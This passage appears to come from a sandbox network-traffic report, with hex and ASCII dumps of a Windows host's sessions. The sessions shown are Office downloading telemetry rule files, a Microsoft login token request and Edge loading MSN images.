2024-11-25 15:21:46 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:46 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:46 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 97f3364e-001e-00a2-6ca6-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152146Z-178bfbc474btvfdfhC1NYCa2en00000007r000000000cgm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:46 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:46 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c4b984cf-b01e-001e-2446-3c0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152146Z-15b8b599d88cn5thhC1TEBqxkn00000005zg00000000edcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49868	20.190.147.1	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 15:21:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 15:21:47 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 15:20:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C544_BAY x-ms-request-id: 74b40a1e-31bc-4e72-bbe7-306ebd3017a9 PPServer: PPV: 30 H: PH1PEPF00011F05 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 15:21:46 GMT Connection: close Content-Length: 11389
2024-11-25 15:21:47 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:46 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:47 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 89d933d2-101e-0028-046e-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152147Z-174c587ffdfmlsmvhC1TEBvyks000000065000000000t6a2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:47 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49874	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:47 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE Last-Modified: Sat, 23 Nov 2024 07:54:44 GMT X-Source-Length: 57629 X-Datacenter: northeu X-ActivityId: a063f996-f3f8-41ae-8a59-709a41eac6eb Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 57629 Cache-Control: public, max-age=232441 Expires: Thu, 28 Nov 2024 07:55:48 GMT Date: Mon, 25 Nov 2024 15:21:47 GMT Connection: close
2024-11-25 15:21:47 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 15:21:48 UTC	16384	IN	Data Raw: 20 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn
2024-11-25 15:21:48 UTC	2997	IN	Data Raw: ed ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51
2024-11-25 15:21:48 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
2024-11-25 15:21:48 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49873	104.117.182.66	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCD.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:47 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCD Last-Modified: Thu, 07 Nov 2024 21:14:23 GMT X-Source-Length: 91068 X-Datacenter: westus X-ActivityId: 192ae135-6d9f-47ea-935a-a072a84bdcf1 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 91068 Cache-Control: public, max-age=64338 Expires: Tue, 26 Nov 2024 09:14:05 GMT Date: Mon, 25 Nov 2024 15:21:47 GMT Connection: close
2024-11-25 15:21:47 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 15:21:48 UTC	16384	IN	Data Raw: 34 8e cf 18 eb 96 97 a4 c4 1b 8d c4 e9 05 59 11 a8 42 36 fd 0a 2a a3 45 57 13 fc 1c b9 63 31 3b 4f d4 25 8d d0 14 07 1a 6d 7c 92 9e da cc ca 39 14 63 7e 20 b2 d8 42 c6 bf 58 3f 25 64 36 13 05 28 e4 7c 7f 05 b5 87 54 f0 d0 b4 10 34 28 8b c0 08 e7 3d 20 70 c7 fe a0 a3 e0 96 76 5a ec a3 44 93 95 ca e3 29 44 e1 8c 8c 64 a5 68 c9 c9 57 aa f7 56 03 8e 80 04 4e 59 f8 1e 9f 66 35 b9 3d ae 9f da 9e d6 f2 55 2f a9 47 7d 25 1f bf ac a6 7d 1e 90 bb 48 e4 82 02 5b 58 e3 aa 6d 30 af f7 4f 56 13 38 46 d1 61 30 b6 42 94 ac a0 27 c7 dd 3e a4 f8 62 07 19 09 b4 85 20 2a a8 44 e7 94 a9 d2 b2 95 76 07 45 9e 4a ed 9f d5 4a 95 20 ab 64 4a 12 d4 58 54 2d 43 4a b7 4a ca 51 61 52 85 29 56 a9 52 94 59 d2 a5 2b 28 56 e9 59 08 b2 e2 a8 5a b2 85 6c 85 90 aa ca 95 29 52 95 6e 95 94 a2 Data Ascii: 4YB6EWc1;O%m\|9c~ BX?%d6(\|T4(= pvZD)DdhWVNYf5=U/G}%}H[Xm0OV8Fa0B'>b DvEJJ dJXT-CJJQaR)VRY+(VYZl)Rn
2024-11-25 15:21:48 UTC	1810	IN	Data Raw: 1d 77 91 fb 34 88 df 41 d5 5a c6 c6 61 17 aa 5d b0 8e 3f 1d 69 eb d5 57 ec 4f a6 e3 c3 51 17 27 a1 1b 0d bc d3 dc de e5 ce 2e 0c 9a b7 35 03 13 fc 14 b5 88 eb d4 a1 9f fc 56 86 41 74 92 e7 3a 77 9d 67 73 c8 2b ec ee 46 50 1a c0 e3 50 93 26 dd 4f b4 5d 71 e8 6e 20 e0 f7 92 67 e8 1b 09 e9 e3 af 45 d0 c3 88 33 17 11 73 5e ea 76 04 c3 6d 6b 6c e3 37 90 7a 29 b8 a1 13 31 35 f2 f0 bd 9b 2e 16 b4 3b 20 6e 47 01 0c 04 57 e7 b8 80 0e 8a 86 3f cd 3b ac 75 b6 4b 81 1b b8 44 4e c1 a1 a2 1b c9 23 26 36 f6 79 3f dc 59 96 ae 21 8a a2 48 fe 92 fa 47 fe d0 e5 da ff 00 d3 3b 87 b7 1f 72 cc 98 70 02 c6 b8 97 64 22 99 16 33 7b 9f 96 c1 2a b2 cb 96 53 a6 93 e2 09 ed 3b 06 e6 71 c9 95 b9 8b 6c 18 d8 74 3d e6 f0 1c fd c6 ff 00 a9 5e e5 d8 e3 b5 38 bb 8f f6 63 0c 86 8d f2 5a ff Data Ascii: w4AZa]?iWOQ'.5VAt:wgs+FPP&O]qn gE3s^vmkl7z)15.; nGW?;uKDN#&6y?Y!HG;rpd"3{*S;qlt=^8cZ
2024-11-25 15:21:48 UTC	16384	IN	Data Raw: e2 f2 e2 ed db a1 54 1e dc 3a 34 95 ea b3 33 f9 7e 50 b8 79 31 c9 3c 31 ec 7f 05 b4 4b 1c a2 9c 67 7a 7f d2 7d ff 00 82 0e 1d 00 5d 27 60 8e 83 ff 00 1f c5 28 e3 8f 81 fa 2b 62 aa 23 97 cd 03 bc be 6a f8 c4 df e6 3e 00 fe 09 83 00 e8 ef 62 84 b9 5f 1b 2c 85 d8 ff 00 16 7a 8f 2f d3 74 f6 f6 b3 fb 7e 49 87 9e a4 f4 f9 2c 20 f4 5e a4 76 73 fb 7e 49 bf e0 13 a7 ff 00 10 90 79 00 d7 74 2b 60 f4 5e a4 f6 04 6e 43 7c c2 a8 fe d3 f9 c7 87 4f 92 28 5b 80 a2 e9 bf b7 6b 7a 9f 8f 15 55 cc 03 f6 9f 32 81 6a f5 98 8b 7b 05 0b a7 a7 b2 8e 1c a1 05 d2 a3 e5 22 6b cb 66 35 44 72 38 b4 cb ad d3 98 d9 0b 58 e7 98 68 92 ba b8 7f 2d 19 18 5d 91 ce 00 6a d6 d8 48 ea e1 7f 00 14 67 1f b6 61 78 f2 97 13 19 78 21 c5 df b8 4e f6 9d 7c d7 47 b5 ec df dd 87 3e ec 1b 55 06 27 f9 1b Data 